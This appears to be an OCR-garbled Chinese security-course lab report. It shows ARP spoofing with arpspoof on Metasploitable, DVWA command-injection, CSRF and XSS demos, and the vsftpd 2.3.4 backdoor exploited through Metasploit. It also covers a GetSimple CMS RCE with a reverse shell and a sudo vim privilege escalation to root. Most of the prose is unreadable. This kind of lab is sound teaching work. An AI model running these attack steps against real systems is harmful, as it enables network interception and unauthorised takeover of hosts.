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ARP Spoofing
o ARP Spoofing INZE[HI8

o BEEF EimEs

DVWA Izt command injection, SQL injection, XSS, CSRF $Ix%

Metasploit
o BERIRIEAIE (Lab Environment Setup).

H IV EE

o Recon

o Vulnerability Exploitation

o Privilege Escalation




ARP Spoofing

ARP Spoofing N E[HIE

o ARP spoofing (thil ARP cache poisoning / ARP EifiR) SWEEERE—1E L2
FERN > R EARER) ARP [B]fE (5§ Gratuitous ARP) EEZEFHIEREEN
MAC it 4 E R B —1E IP (FIAIEESE S 1) -

ERNEREQREE  ERPHEIAKE (MITM)  HE7EE « HEE X HE -

1. sudo apt-get update % Kali WEMHESETEMN

-$ sud update
[sudo] password for kali:
:1 http://kali.cs.nycu.edu.tw/kali kali-rolling InRelease [41.5 kB]
2 http://kali.cs.nycu.edu.tw/kali kali-rolling/main amd64 Packages [19.8 MB]
3 http://kali.cs.nycu.edu.tw/kali kali-rolling/main amd64 Contents (deb) [47.1 MB]
14 http://kali.cs.nycu.edu.tw/kali kali-rolling/non-free amd64 Packages [195 kB]
5

http://kali.cs.nycu.edu.tw/kali kali-rolling/non-free amd64 Contents (deb) [893

http://kali.cs.nycu.edu.tw/kali kali-rolling/contrib amd64 Packages [119 kB]
:7 http://kali.cs.nycu.edu.tw/kali kali-rolling/contrib amd64 Contents (deb) [258 k

Fetched 68.4 MB in 38s (1,788 kB/s)
Reading package lists... Done

2. sudo apt install dsniff -y
L4 dsniff » ER—ERENRLIR > JRHENEETEA

)= [~]
sudo t install dsniff
Reading package lists ... Done
Building dependency tree... Done
Reading state information... Done
dsniff is already the newest version (2.4bl+debian-31).
0 upgraded, 0 newly installed, @ to remove and 1789 not upgraded.

3. arp -a
FIHZ A M ER] ARP SREFCHAY IP Hhik A &R MAC it

mnsfadmin@metasploitable:™§ arp -a
7 (172.16.90.2) at 00:50:56:EF:2C:00 [ether] on ethoO

msfadmin@metasploitable:™S nmap -v -sP 172.16.90.0,24




4. BBARLBRRABLGEREERR !
AMESM nmap -v -sP REMREMIFES ping B up BIEHK
Host 172.16.90.126 appears doun.
Host 172.16.90.1Z27 appears doun.
Host 172.16.90.128 appears doun.
Host 172.16.90.129 appears up .

msfadmin@Cmetasploitable:™5 ping 172.16.90.129

PING 172.16.90.129 (172.16.90.129) 56(84) bytes of data.

64 bytes from 172.16.90.129: icmp_seq=1 ttl=64 time=4.55 ms
64 bytes from 172.16.90.129: icmp_seq=2 ttl=64 time=0.700 ms

64 bytes from 172.16.90.129: icmp_seq=3 ttl=64 time=0.644 ms
64 bytes from 172.16.90.129: icmp_seq=4 ttl=64 time=0.864 ms
64 bytes from 172.16.90.129: icmp_seq=5 ttl=64 time=0.823 ms
64 bytes from 172.16.90.129: icmp_seq=6 ttl=64 time=1.42 ms
64 bytes from 172.16.90.129: icmp_seq=7 ttl=64 time=0.590 ms

-—— 172.16.90.129 ping statistics ——-

? packets transmitted, 7 received, 0% packet loss, time 6004ms
rtt minsavasmax/mdeu 0.590,1.370,4.553,1.324 _ns
nsfadmin@metasploitable: ™5 arp -a

7 (172.16.90.129) at 00:0C:29:5A:3B:C9 [ether] on etho

7 (172.16.90.2) at 00:50:56:EF:2C:00 [ether] on ethO

5. T8 Wireshark [E terminal N E A EERRKNES]

File Edit View Go Capture Analyze Stati wi Edit View Help
ADA® = @ B a«c>n o> d, @ newly installed, @ to remove and 1789 not upgraded.

Time Source estination Protocol  Length Info a
gs=4163<UP, BROADCAST, RUNNING,MULTICAST> mtu 1500
net 172.16.90.129 netmask 255.255.255.0 broadcast 172.16.
net6 fe80::6d84:96d1:3ce3:5c56 prefixlen 64 scopeid 0x20<
ther 00:0c:29:5a:3b:c9 txqueuelen 1000 (Ethernet)
X packets 47218 bytes 70971216 (67.6 MiB)
X errors © dropped @ overruns @ frame 0
X packets 4460 bytes 271107 (264.7 KiB)
X errors @ dropped @ overruns @ carrier @ collisions @

=73<UP, LOOPBACK, RUNNING> mtu 65536
net 127.0.0.1 netmask 255.0.0.0
net6 ::1 prefixlen 128 scopeid 0x10<host>

oop txqueuelen 1000 (Local Loopback)

X packets 4 bytes 240 (240.0 B)

X errors @ dropped @ overruns @ frame 0

X packets 4 bytes 240 (240.0 B)

X errors @ dropped @ overruns @ carrier @ collisions @

® L bluetoothO: <live capture in progress> Profile: Default




6. sudo arpspoof —-i eth® -t <fRmetaffiRIIP> <EEVKAIIP>
<fRmetafL#pyIP> 2 ifconfig I5< K Z meta BY IP

msfadmin@metasploitable:™5 ifconfig
etho Link encap:Ethernet HWaddr 00:0c:29:d7:96:ce
inet addr:172.16.90.130] Bcast:172.16.90.255 Mask:255.255.255.0
inetb addr: fe80::20c:29ff :fed?:96ces/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:?78 errors:0 dropped:0 overruns:0 frame:0
TX packets:1137 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:8731 (8.5 KB) TX bytes:57630 (56.2 KB)
Interrupt:16 Base address:0x2000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1,128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:184 errors:0 dropped:0 overruns:0 frame:0
TX packets:184 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:64729 (63.2 KB) TX bytes:64729 (63.2 KB)

7. sudo arpspoof —-i eth® -t <fRmetafBt%AYIP> <EEVKHIIP>
<ERARKIP> 2R arp -a FEEN IP UMEZTEEMN IP

msfadmin@metasploitable:™5 arp -a
7 (172.16.90.129) at 00:0C:29:5A:3B:C9 [ether] on etho
71(172.16.90.2) at 00:50:56:EF:2C:00 [ether] on ethoO

8. AIAERIIRTE Kali EEREESEEM (172.16.90.2) HAKM A MAC Uit 2
00:0c:29:5a:3b:c9 thFiE Kali B9 MAC izttt

Kali-finux-2023.3-v

I ki Wyl O @ & 852 | & €
Il

ure Analyze Statistics Telephony Wi File Actions Edit View Help

sudo ar C i etho -t 172.16.90.130 172.16.90.2
[sudo] password for kali:
:5a:3b:c9 0:c:29:d7:96:ce 0806 42: arp reply

Source Destination _Protocol L

525 54.537148655 VMware 5a:3b:c9  VMware_d7:.. ARP 4
526 56.539874158 d7:.. ARP 4
527 58.542195760 c are ARP 4 -
528 60.551055465 ARP 4 0806 i arp reply
529 62.552297367 5a:3b: g 4|
530 64.554109169 3b:c! are ARP 4
531 66.555580771 VM a:3b:c are ARP 4
532 68.556643673 VM g ARP 4

4

4

4

0806 : arp reply
172.16.90.2 is at 00:

172.16.960.2 is at 00: 9:5a e . . . . .
172.16.90.2 is at 60 b:co ic: : :d7:96:ce 0806 42: arp reply

{6c:29:5a:3l
172.16.90.2 is at 00:0c:29:5a:3b:c9
< -~ L e 5E8 :d7:96:ce 0806 42: arp reply
» Frame 529: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on inte+ i H

» Ethernet II, Src: VMware 5a:3b:c9 (00:0¢:29:5a:3b:c9), Dst: VMware_d7:96:ce 08 06 06 04 60 02 00 6c i R 114! . 1
olut: 00 Oc 29 d7 96 ce ac 10 : : :d7:96:ce 0806 42: arp reply

533 70.559855376 _5a: ARP

534 72.561862878  VMwi ARP

sa
535 74.565161181 VMware_S5a:3b:c9 r ARP
> :3h

536 76.571343685 VMware 5a

0806 : arp reply

ze: 4
Opcode: reply (2) P .
Sender MAC address: VMware_5a:3b:c9 (00:0c:29:5a:3b:c9) :d7:96: 0806 : arp reply
Sender IP address: 172.16.90.2
Target MAC address: VMware_d7:96:ce (00:0c:29:d7:96:ce) . et .
Target IP address: 172.16.90.130 : 196: 0806 : arp reply
- [Duplicate I address detected for 172.16.90.2 (00:6¢:29:5a:3b:c9) - also ir-

7 wireshark_eth0GGATK2.pcapng Packets: 536 - Displayed: 536 (100.0%) _Profile: Default : : 196:ce 0806 42: arp reply

:5a:3b:c9 0:c:29:d7:96: 0806 : arp reply

9. & Wireshark #AIFENMENE B EF B LA TIES KB Wireshark 11 arp #
=2

sudo wireshark -k -i eth@ -f "arp



kali-inux-2023.3-vmware-a...

@ &

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A m @® = R & =

No. Time Source Destination Protocol Ler Info
525 54.537148655 VMware_5a:3b: VMware _d7:.. 42 172. 2
526 .539874158 VMware_5a:3b: VMware_d7:.. 42 172. 2
.542195760 VMware_5a:3b: VMware_d7:.. 2
.551055465 VMware_5a: : VMware_d7:.. 2
.552297367 . 2
.554109169 VMware_5a:3b: VMware_d7:.. .16.90.2 is at
.555580771 VMware_5a:3b: VMware_d7:.. 2 is at
.556643673 VMware_5a:3b: VMware_d7:.. 2 is at
.559855376 VMware_5a:3b: VMware_d7:.. 2 1is at
.561862878 VMware_5a:3b: VMware_d7:.. 2 is at
.565161181 VMware_5a:3b: VMware_d7:.. 2 is at
.571343685 VMware 5a:3b:ct VMware d7: ? is at 00:0c:29:5a:3h:cf b

v Frame 529: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on inte+ d7 96 ce 00 Oc
» Ethernet II, Src: VMware_5a:3b:c9 (00:0c:29:5a:3b:c9), Dst: VMware_d7:96:ce 04 00 02 00 Oc
~ Address Resolution Protocol (reply) d7 96 ce ac 10

Hardware type: Ethernet (1)

Protocol type: IPv4 (0x0800)

Hardware size: 6

Protocol size: 4

Opcode: reply (2)

Sender MAC address: VMware_5a:3b:c9 (00:0c:29:5a:3b:c9)

Sender IP address: 172.16.90.2

Target MAC address: VMware_d7:96:ce (00:0c:29:d7:96:ce)

Target IP address: 172.16.90.130
~ [Duplicate IP address detected for 172.16.90.2 (00:0c:29:5a:3b:c9) - also ir~
4 »

O 7 wireshark_ethOG6ATK2.pcapng Packets: 536 - Displayed: 536 (100.0%)  Profile: Default

10. [@%] Metasploitable F§ arp -a BEEEZEAEIKIN

msfadmin@metasploitable: ™5 arp
7 (172.16.90.2) at |00:50:56:EF: :00] [ether] on ethoO

nsfadmin@metasploitable:™5 arp
7 (172.16.90.2) at |00:0C:29:5A:3B:C9| [ether] on ethoO

11. ERFESE Metasploitable B#f 172.16.90.2 BFXITEMRF
AT LATE Kali L& t7E Wireshark &2l Metasploitable Hi@RAE £
IESHRE -

o Ping 172.16.90.2 : ¥} 172.16.90.282 %6



o sudo wireshark -k -i etho : BIEX Wireshark REZEBHEEKIN

g Capturing from ethO

Edi File Actions Edit View Help
File Edit View Go Capture Analyze N -
Bae X © =
Jion [sudo] password for kali:
*+ (wireshark:19681) 05:32:43.029107 [GUI
XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-root
]

Statistics Telephony Wireless

Tools Help

etho

No. Time

98 Echo (ping) request

2 1.008043724 130 ICMP 98 Echo (ping) request id-oxde15, seq=92/23552, N ek (wireshark:19681) 05:32:48.395790 [Capture
31.057562104 cor AT P T TO T LT T T

4 2.018985693 .130 172.16.90.2 ICMP 98 Echo (ping) request id=6xdel5, seq=93/23808, ) 5 o 6 -
53.018456535 172.16.90.130 172.16.90.2 ICMP 98 Echo (ping) request id=6xdelS5, seq=94/24664, eshark:19681) 05:32:48.674791 [Capture
6 3.058790741 VMware_5a:3b:c9 VMware_d7:96:ce ARP 42 172.16.90.2 is at 00:0¢c:29:5a:3b:c9 ¢ tar [Ed

74.021188817  172.16.90.130 172.16.90.2 ICMP 98 Echo (ping) request id=xde1s, seq=95/24320, . % (wireshark:19681) 05:32:48.677123 [Capture
85.630624729  172.16.90.130 172.16.90.2 IcWP 98 Echo (ping) request id=6xdels, seq=96/24576, i i .

95.059476965  VMware_5a:3b:co VMware_d7:96:ce ARP  42172.16.90.2 is at 00:8c:29:5a:3b:c9 : Mp/wireshark_eth04SKNK2.pcapng

10 6.037016594  172.16.90.130 172.16.90.2 ICWP 98 Echo (ping) request id=exdels, seq=97/24832,

11 7.036769522 172.16.90.130 172.16.90.2 IcMP 98 Echo (ping) request id=6xde15, seq=98/25088,

12 7.061265068  VMware_5a:3b:c9 VMware_d7:96:ce ARP 42172.16.90.2 is at 00:6c:29:5a:3b:c9
13 8.036888787  172.16.90.130 172.16.90.2 ICMP 98 Echo (ping) request id=oxde15, seq=99/25344,

Frame 1: 98 bytes on wire (784 bits), 98 bytes captured (784 0000 oo oc 29 5a 3b c9 d7 96 ce 68 00 45 00
B (00:0c

» Ethernet II, Src: VMware_d7:9 :29:d7:96:ce), Dst: 9 54 60 00 40 00 46 61 2e 04 ac 10 5a 82 ac 10
» Internet Protocol Version 4, Src: 172 16.99.130, Dst: 172.1€ 56 02 68 00 a4 c8 de 15 €0 5b 25 13 f4 65 68 da
» Internet Control Message Protocol 68 00 08 69 0a 6b 6c 0d Oe Of 10 11 12 13 14 15

16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25
26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35
36 37

7 Ready toload or capture Packets: 60 - Displayed: 60 (100.0%) Profile: Default

B 75 iERE
1. BXF8 DHCP snooping + Dynamic ARP Inspection (DAI)
o EXEMZIMEE R DHCP snooping (EIIAISEM IP<>MAC< port 188
%) o WRAH DAl - RIRBFE BB IFLEREH AR S snooping &AJ ARP [2]
E o
2. Port security / MAC binding (18%%)
o PREIEREIIIMMIBAFFN MAC HEFHERETE MAC » (HIEIRBEERE[EERE
A MAC -
3. {FARHERAT ARP inspection/ARP ACL IHAE (FE2IB)
o RLPERIMAIIAIERE ARP ACL SLEFAE ARP RIR[AERIE ARP -



DVWA it command injection, SQL injection, XSS,
CSRF FI &

Damn Vulnerable Web Application (DVWA) 21&E 52 N8 K PHP/MySQL HAEfE
AR TEBERENEREXABESIANERIERIISBRRM - EB) Web FE
AB BT T BE{RE Web ERERF -

1. 7£ kali IRIB#AT
2. F&EDVWA : sudo git clone https://github.com/ethicalhack3r/DVWA.git

3. 1E DVWA #Zl /var/www/html BIBEFET » LR EIRE /var/www/html BJE
# ~& DVWA : sudo cp -r DVWA /var/www/html

4. cd /var/www/html

5. BX&) Apache IR MySQL :
sudo service apache2 start

sudo service mysql start

6. B& port KIEE Apache IR MySQL 2&H [EEET :
sudo netstat —-anpt | grep 80
sudo netstat —anpt | grep 3306

7. A mysqgl : sudo mysql -u root -p

8. Bl dvwa BillE » WEFERE :
create database dvwa;

show databases;

9. BIZE—E#ERIE root —#RAYIE root FAHZE :

create user 'dvwa'@'localhost' identified by 'dvwa';



10. Z2IIT—@&% 'dvwa’ BIMySQL AP » IifGEIERESR 'dwa' ° ZAFR
BEfi£ 'localhost' FH#E (BIAHE) EARF MySQL- grant all on *.* to
'dvwa'@' localhost';

#F 'dvwa'@'localhost' {ERE¥ MySQL FRHIFREERIEMFTA BRI R
BHER - EEREZBPAIURITERIERERE

11 ASELRB A R MySQL RURERRE » IARECRFTAVREPRERE LLAN AR

set password for 'dvwa'@'localhost' = password('123456');
flush privileges;

quit;

R

12. €24 DVWA WIECE XX 14 -
cd /var/www/html/DVWA/config
ZEEIETH config.inc.php.dist EEEB config.inc.php

sudo cp config.inc.php.dist config.inc.php

sudo vim config.inc.php

(PR

Y a0 22385 w28 B ) [ A9 48 [E)
13. 2B 23BN http://127.0.0.1/DVWA
EARSE adimin B3R password ZEEI TEAIN
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1. Command Injection

MR RAEEENMAREREEBRBRTT > REEERIUFAELEEAR
RAFEETHM Server LHITERRIEZADS



II'...."r'”illi. |
Ak ::u...-'l-': Hin T
im a device

i ltl"lli-[

| ow ur 8.0.1(127.08.0.1) muﬂﬁn
{ 1| es from127.8.6.1; icep seqg=1tt
Hil | o5 from 127.8.8.1: l_-_,_mtt
il Abytes from127.0.0.1: icep seqed ttl-64
| Htllfrﬂﬂ? 8.0.1: i.wtt

i | ][-L'q 127.8.0.1 ping statistics --- _.', '_E.':
{ transmitted, 4 received, 8%
H]I ik Iw-l ﬂiﬂm:

2. Cross Site Request Forgery (CSRF)
BUaRhEKBE (CSRF) 2—RBIEL XN - BBERFE Web BRARER LHITA
FERRE - MEBIHETEE (FINBBEF AR KHEE) » WBET



FED iR AP ITIREBE BEZENRE -
4P R AB R EIBE URL FRIABASCEER

DWA)

|8 Vulnerability: Cross Site Request f or
Change your admin password:

Password Changed .

Nt Eiowgers arg st 0 defmull 0 soling (0SS gl Sy s Lt e Ry
mwacsﬂmemmmﬂmﬂﬂ o ¥

Mmmnnmwumnmmwmm oparal
MWMHMWDMMH ?I e

More Information




3. DOM Based Cross Site Scripting (XSS)
EERR

__Kal:' Forums e Kali NetHunter « Exploit-DB % Google Hacking DB

o)

Home iy Vulnerability: DOM Based Cross
e |
EMJ_HIHtDH i | Please choose a language

R | !_ighsh ~ || Select
Command injection |

insecure CAPTOHA |
SQL Injection |
SQl-lnhcuuntllhd:l“ |
Weak Session 1D |

I-:a:t::i: L’n I-l l'].l.ll.lkl
n*l:hd]

More Information

¢« Kali MetHunter Exploit-DB Google Hacking DB

D)

BRI Vulnerahility: DOM Based Cross Si

Elh.pf m DB | | Please choose a language

|_ HICCripIEalen(M22nallo% 22 JMaC ISCHDBEIE v Salect

(e injaction’ ;11 b More Information

mmm



Metasploit ;2:ZHEZR I CVE &R

Metasploit 2 —fEFIRABEREER > EROEEERRE—(ESERSHERIE -
AEAREMIRAREH HESE (EX|O|0ItS) » BB (Auxiliaries) MR EE & fay
(Payloads) - BE{EBE AR ABRRE - SRMKRIERIES - HEHIZETHRRME
iR aE S EERE

B¥th > AXBEANBEIEFESE Metasploitable » EE2—EEAL AR MERTNE
BRELME - ERET SECABBEERENARTS - WE S T DVWA FEMAE » [F41
BFRE RN EEEREAABENKRE g THAEERAERANZZAIE -

BEERIRIEAE (Lab Environment Setup)

F#1T CVE RmEAIE 281 > BAEAEERELNENEREE  TEGSMUTMERZK
IV -

1. B F#: Kali Linux(A&Emetasplot)
LB MIpA10.0.2.15

2. L% : Metasploitable 2
FULEERPMIpA10.0.2.3

CVE® Al

1. im OB AR A E A -
FMFF Nmap (Network Mapper) TH » 3117 RRFEIRAEAIFE (-sV) » §HE
EIZE0HE <504 IP (ilt> BT 2 ENRIEEAUNE -



#1735<: nmap -sV <10 0.2.3>

Nmap scam r

Host is up (@. ﬂ

Not shown: 977 clo

PDFT STATE 5

open

open ens ebian 8 £ (protocol 2.8)
open

open X

open ai ISC BIND 9.4.2

open Apache httpd .8 ((Ubuntu) DAV/2)

open T i 2 (RPC

open etbi as ] 4.% (workgroup: WORKGROUP)
open i a s X 4.% (workgroup: WORKGROUP)
open  exec etkit-rs cd

open Llogin OpenBSD or Solaris rlogind

open Trpqupped

open r GNU Classpath grmiregistry

open blnd;hell Metasploit:

open nfs 2 (RPC #

open ftp ProFTPD 1 3

open mysqgl MySQL

open postgresgl pDSthEJQL DB

open  vnc VNC (protocol

open X11

open 1irc

open

open f =

55: @8:00:27:01:E5:00 (PCS icle Virt virtual N

p
p
p
p
p
p
p
p
p
p
p
T

a

l].

Service Info: Hosts: metasploitable.localdomain, irc.Met itable. ; 0Ss
Unix, Linux; CPE: cpe:;o linux:linux_kernel

Service detection performed. Please report any incorrect results at https://

map.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 11.90 seconds

RS RAETICREN T ZERTS - EHh > FTP BR¥EMIARA S vsftpd 2.3.4 - 1R1E
BHZERABRE » thRAREE%F (Backdoor) fRfeamMEHES AN » ELEFH
BEETE AR CVE fmEsREMN BIZRTE -




2. FIREHE L8 msfconsole 15 » Bl&ImetasploithI4&im T HE °

k.

TiefEEr BbiF #WEE @18 &iEA

marrow(@kali: ~

9 auxiliary - 1,683 payloads
post - 49 encoders - 13 nops - 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid? Open Source Project

msf > ]

3. H B — B B AZRRTS - FA7E MSF HEZRA#1T search vsftpd
2.3.4 o GEREENMUTELR T ¥ FEMexploit/unix/ftp/vsftpd_234_backdoor &
8 -

msf > search wvsftpd 2.3.4

Matching Modules

# Name s Check Description

@ exploit/unix/ftp/Msftpd_234_backdoor 2011- excellent No WSFTPD v2.3.4 Backdoor Command Execut
ion

4. H1TH5<: use exploit/unix/ftp/vsftpd_234_backdoor EIZ(FFHZIEE > 1E&
/3 show options 5<% > MERMBMENRLESEH - 12028 % RHOSTS
(Remote Hosts) » AAR1EE B1Z4EHEAY IP fizit -

H1TH8<: set RHOSTS 10.0.2.3 MWHERIFMBE MESHEICETER - IHEWNE
A exploit FIREIT - - MBEZEEHER vsftpd BRFFEEZEEERIPayload °

The target host(s), see https://docs.metasploit.com/docs/using-metasploit/b
asics/using-metasploit.html

The target port (TCP)



5. 7T —[EFEMRINER IR E LB Rfound shell » fX&RmINE Ireverse shell 7

Found shell.
pwd
Command shell session 1 opened (10.0.2.15:38017 — 10.0.2.3:6200) at 2025-10-27 ©2:51:26 +0800

6. & 7 ERFEFTEHNAY Shell EE B A ERNATER » HMIFRIBEITRERE

- JEEERAMER 0 FEHIT s -al FES > RNIIETER LEER THER
HEHPEE BN EECAREE SR FERRTH<INEES -

- MREAHEIRBILIER : ATEFRMEBIRERMR - HMAFIA Shell #REEA
BRI EFEPEIE T —ER2A exploit.txt BUHEZE » WE AT "you have been
hacked" B & °

msfadmin msfadmin 4896 Oct 26 14:

root root 4896 Oct 19 @5:3 ”

root root 9 May 14 2012 .bash_history — /dev/null
msfadmin msfadmin 4896 Apr 17 .distcc

root root 4174 May 14 2012 .mysgl_history

msfadmin msfadmin 586 Mar 16 2818 .profile

msfadmin msfadmin 4 May 2@ 2012 .rhosts

msfadmin msfadmin 4096 M: 17 2018 .ssh

msfadmin msfadmin 7 2018 .sudo_as_admin_successful
msfadmin msfadmin 4096 Apr 27 2818 vulnerable

[ e e e = ]

on

drwxr-xr-x

touch exploit.txt
vim exploite.tx

are hacked!

7. [B1ZImetasploitablef® - {2 & B EH1TIE< sudo cat exploit.txti&g » FIHEE
R"you have been hacked" » BIRT EERRIRR -



nsfadmin@metasploitable: ™5 1s -al
total 40
druxr-xr-x 5 msfadmin msfadmnin 4096 2025-10-26
druxr-xr-x 6 root root 4096 Z025-10-19 H ..
Iruxruxrux 1 root root 9 2012-05-14 : .bash_history -> ~devs/null
druxr—-xr-x 4 msfadmin msfadmin 4096 2010-04-17 H .distcc
root root 18 Z2025-10-26 : exploite.txt
root root 4174 Z2012-05-14 H .mysql_history
nsfadmin msfadmin 586 Z2010-03-16 : .profile

msfadmin msfadmin 4096 Z2010-05-17 H .=sh

nsfadmin msfadnin 0 Z2010-05-07 H .sudo_as_admin_successful
druxr-xr-x 6 nsfadmin mnsfadmin 4096 2010-04-27 H vulnerahbhle
nsfadminemetasploitable:™5 sudo cat exploite.txt

1
1
1
1 msfadmin msfadmin 4 Z2012-05-20 H .rhosts
Z
1

-ru-r--r--

you are hacked!?




HihH BB E

MR EERIEE R RFI B Metasploit 1EZR#ET2E 0 » MENERESRIEE

/

BT -

1. RAEHFIRAH B!
M & Bl
. exploit FAE%

. vulnerability exploitation

WREBBRABREZE  BEHEETREE(—MBENAEREREE)  EalEN

SICHEIERRERE  E—DRE -

Recon

1. Port scan

o EIRBZRRN 22, 80, 8080

rustscan —a 54.250.248.227

__} /

¥/ /\
The Modern Day Port Scanner.

https://discord.gq/GFrQsGy
https://github.com/RustScan/RustScan

Real hackers hack time X

The config file is expected to be at "/home/jonathan/.rust
File limit is lower than default batch size. Consider uppi
Your file limit is very small, which negatively impacts Ru

h '-—ulimit 5000°'.

Open

Open

Open

o RFFIFHE



PORT STATE SERVICE REASON
22/tcp open ssh

80/tcp open http

syn—ac
Syn—ac

8080/tcp open http-proxy syn-ac

2. 72HY 80 port B2 8080 port T E—%

Test Website [OREI I EVESIY IR Atways match Chrome's language | Switch DevTools to Chinese JEsEHREREY S

* Home ~ [0 Elements  Console  Sources  Network  Performance ~ Memory  Applic:

Home + Welcome to GetSimple! 1--[if 1t IE 7 ]> <html lan
S[if IET7 ]> <html lang=

‘Welcome to GetSimple!

<1--[if (gt TE 9)|1(IE)]><!-->

Thank you for using GetSimple CMS.
This is your homepage, so please
change this text to be what you want.

<meta char: utf-8">

* GetSimple CMS Documentation -
< <title>Welcome to GetSimple! - Test Websitec/title>

o How to Create a
GetSimple Theme
s GetSimple Support Forums

index, follow">

.31.11.25/theme/Innovation/sty:

_css?v: 17

.31.11.25/theme/Innovation/assets/css/reset

Header 2

Lorem ipsum dolor sit amet,
consectetur adipiscing elit. Donec

pis.com/css2family=YanonesKaffeesatz" rel="stylesheet"

ion  Security  Lighthouse  EditThisCookie  HackBar

text/css">

s

stylesheet”>
stylesheet”>

//html5shiv. googlecode. com/svn/trunk/html5. §s"></script>

ttp://172.31.11.25/theme/Innovation/assets/js/dd_belatedpng.js"></script>

this is code venenatis augue. Class <script> DD_belatedPNG.fix('img, .png_bg'); //fix any <img> or .png_bg background-images </script>

aptent taciti sociosqu ad litora torquent <![endif]-->

per conubia nostra, per inceptos keywords” content
himenaeos. Class aptent taciti sociosqu anonical” href
ad litora torquent per conubia nostra,
per inceptos himenaeos. Integer
vulputate pretium augue.

¥ <body i

index">
site header -->

</header>
urapper clearfix">
1-- page content -->
¥ <article>
#header h1 a { v<s
display: block;
width: 300px;

der>

Header 3

ion>

<t
<hl>Welcome to GetSimple!</hl>
} > <p> i </p>

> cul> o </ul>

<h2>Header 2¢/h2>

- title and content -->

Header 4

“getsimple, easy, content management system”>

06

81

X
@ i X
Styles 5>
ov .cls

user ag..
Link {

none;

dding -

autoxauto

Home +* We'-~me to GetSimple!

Welcome to

3. google 37 > AiRAKNMNFZ .15 + .16

tSimple!



GetSimple! 3.3.1| X

=
%)
Jo

getsimple 3.3.15 exploit
getsimple 3.3.15 vulnerabilities
getsimple 3.3.16

getsimple 3.3.15
getsimple cms 3.3.15
getsimple version 3.3.15 exploit
getsimple cms version 3.3.15 exploit
getsimple cms version 3.3.15
getsimple cms 3.3.16

getsimple cms 3.3.15 vulnerability

« exploitDB : 3.3.16 % RCE i@

o https://www.exploit-db.com/exploits/52168 (https://www.exploit-

db.com/exploits/52168).

show| 15 v Search: | GelSimple CMS 3.3.1¢ X

Date D A tle Type Platform Author
2023-05-23 3 GetSimple CMS v3.3.16 - Remote Code Execution (RCE) WebApps PHP Youssef Muhammad
2021-03-30 b4 X GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting WebApps PHP boku
2020-10-01 3 X GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting (Authenticated) WebApps PHP Roel van Beurden

Showing 1 to 3 of 3 entries (filtered from 45,592 total entries) °

Vulnerability Exploitation

4. AEIE LEKEIRexploitE R A

i ,250.2 7 2.1:8787 admin
; pv'lﬁ' epreca tlcnwurnlng telnetlib’
ated for removal in Python 3.13

import ttlhbtllb

is not vulnrable to this ( uE
apikey obtained 35dlefe978e23f@8e49bbb4db9f94faa
o If token obtained
uploaded successfully!
WEbaHLlL trigged successftully!



https://www.exploit-db.com/exploits/52168
https://www.exploit-db.com/exploits/52168

5. RCE &R MR B UE reverse shell
o whoami, id

B78B7

listening on [any] 878 .
connect to [172.31.2.1] from (UNKNOWM) [172.31.11.25]
whoami

7
/

waw-data
id
uid=33(wmw-data) gid= www-data) groups=33(wwmw-data)

uname -a

Lin ip-172-31-11-25 5.10.8-23-cloud-amd64 #1 SMP Debian 5.10.179-1 (2823-05
-12) x86_64 GNU/Linux

hostname

mtu 98@1
broadcast 172
; 64
ueuelen @ (Ethernet)
y (5.2 MiB)
uns @ frame @
(216.1 KiB)

Privilege Escalation

6. ZEZF A vim o] BAFsuperuser#ifT

sudo -1

Matching Defaults entries for www-data on ip-172-31-11-25:
env_reset, mail badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbhin\:/u

sr/bin\:/sbin\:/bin

User ww-data may run the following commands on ip-172-31-11-2
B

(root) NOPASSWD: /usr/bin/vim

7. E5EMA sudo fic& : sudo vim -c ':!/bin/sh’

o |

AR AE -



a ! .l'III I:I i n _l'III S I-l
whoaml

root




